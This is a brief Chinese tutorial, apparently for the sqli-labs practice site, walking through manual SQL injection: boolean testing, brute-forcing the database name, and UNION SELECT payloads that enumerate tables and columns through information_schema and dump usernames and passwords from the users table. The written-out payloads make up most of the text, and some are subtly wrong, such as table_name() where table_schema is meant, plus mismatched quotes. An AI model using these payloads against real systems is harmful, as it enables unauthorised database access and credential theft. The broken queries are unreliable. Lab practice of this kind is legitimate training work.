获取数据库名
方法一
-
首先通过加入and 1=1 语句发现可以将语句传入至后端数据库执行,判断存在注入点
![](https://img-blog.csdnimg.cn/img_convert/88672e7719d4622dfd0abdc3ab45304e.png)
-
通过length函数判断数据库名的长度 构造轮子:’and length(database())=’8,发现长度为8
![](https://img-blog.csdnimg.cn/img_convert/8bb423b22fdd8c3f32c2fac65bf9ded9.png)
![](https://img-blog.csdnimg.cn/img_convert/c0c424244679f3f51ff6e76b1b64173b.png)
-
对数据库名抓包进行逐个字符爆破,构造轮子:’+and+substr(database(),&1$,8)+’$a& ,得到数据库名称为security
![](https://img-blog.csdnimg.cn/img_convert/f4de20200c7c4167001bf529e65d9732.png)
方法二
联合查询更方便查出数据库名-1’union select 1,database(),3–+
![](https://img-blog.csdnimg.cn/img_convert/d283e93c80a513f6deda849998128e2e.png)
获取表名
-
接下来开始联合查询表名
4.1首先通过order by查询列数为3
![](https://img-blog.csdnimg.cn/img_convert/ac78611ec923fbbe861c3ed24f92b325.png)
4.2 构造轮子判断回显位 -1’ union select 1,2,3–+
![](https://img-blog.csdnimg.cn/img_convert/b915b5b36e6e8e227d44578a955d8900.png)
开始查询表名
-1’union select 1,(select group_concat(table_name) from information_schema.tables where table_name()=’security’),3–+
![](https://img-blog.csdnimg.cn/img_convert/22efbaaa4263b56bb655669f645fa7f5.png)
获取字段名
-
得到表名开始查询字段依旧使用联合查询构造轮子:-1′ union select 1,(select group_concat(column_name) from information_schema.columns where table_name=’users’ and table_name=`security’),3–+
![](https://img-blog.csdnimg.cn/img_convert/9dcf5cc6573db037513fd4943dcf5d29.png)
获取数据
-
开始查询数据
-1′ union select 1,(select group_concat(username,’–‘,password) from security.users),3–+
![](https://img-blog.csdnimg.cn/img_convert/52620870ad47e382b70a217617776e53.png)